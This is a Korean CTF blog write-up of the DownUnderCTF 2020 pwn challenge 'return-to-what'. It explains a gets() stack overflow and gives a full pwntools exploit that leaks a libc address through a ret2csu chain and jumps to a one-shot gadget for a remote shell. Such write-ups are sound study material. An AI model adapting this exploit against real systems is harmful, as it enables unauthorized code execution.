tmxklab
2020 DownUnderCTF - [pwn] return-to-what 본문
1. 문제확인
바이너리 파일이 주어진다.
1) mitigation 확인
2) main() → vuln()
__int64 vuln()
{
char v1; // [rsp+0h] [rbp-30h]
puts("Where would you like to return to?");
return gets(&v1);
}
카나리도 안걸려있고 gets()로 bof쌉가능
2. 문제 풀이
pop rdi; ret가젯이 없는 줄 알고 rtc로 gets주소 릭하고 하위 1.5바이트로 libc찾아냄
하위 3비트 : 0x0b0
libc 다운받아서 원샷 가젯을 찾음
원샷 가젯 실행하면 된다.
1) 익스코드
from pwn import *
#context.log_level = "debug"
#p = process("./return-to-what")
p = remote("chal.duc.tf", 30003)
#gdb.attach(p)
e = ELF("./return-to-what")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc.so")
vuln_addr = e.symbols['vuln']
gets_got = e.got['gets']
puts_got = e.got['puts']
gets_offset = libc.symbols['gets']
#oneshot_offset = 0x4f2c5
#oneshot_offset = 0x4f322
oneshot_offset = 0x10a38c
init_stage1 = 0x401222
init_stage2 = 0x401208
# 1. leak gets() addr
payload = "A"*0x38
payload += p64(init_stage1)
payload += p64(0) # pop rbx
payload += p64(1) # pop rbp
payload += p64(puts_got) # pop r12 -> call [r12 + rbx*8]
payload += p64(gets_got) # pop r13 -> mov edi, r13d
payload += p64(0) # pop r14 -> mov rsi, r14
payload += p64(0) # pop r15 -> mov rdx, r15
payload += p64(init_stage2)
# 2. return to main
payload += p64(1)
payload += p64(2)
payload += p64(3)
payload += p64(4)
payload += p64(5)
payload += p64(6)
payload += p64(7)
payload += p64(vuln_addr)
p.sendlineafter("to?\n", payload)
gets_addr = u64(p.recv(6).ljust(8, '\x00'))
libc_base = gets_addr - gets_offset
oneshot = libc_base + oneshot_offset
# 3. execute oneshot
payload = "A"*0x38
payload += p64(oneshot)
p.sendlineafter("\n", payload)
p.interactive()
2) 실행결과
사실 pop rdi; ret가젯 있어서 바로 rop로 조져도 된다... 나는 저 가젯이 없는줄 알고 rtc로 바로 진행했다.
'CTF 문제' 카테고리의 다른 글
2020 DamCTF - ghostbusters(pwn) (2) | 2020.10.15 |
---|---|
2020 DownUnderCTF - [misc] homepage (0) | 2020.09.21 |
2020 DownUnderCTF - [forensic] On the spectrum (0) | 2020.09.21 |
2020 DownUnderCTF - [pwn] return-to-whats-revenge (0) | 2020.09.21 |
2020 CSAW - [pwn] slithery (0) | 2020.09.14 |
Comments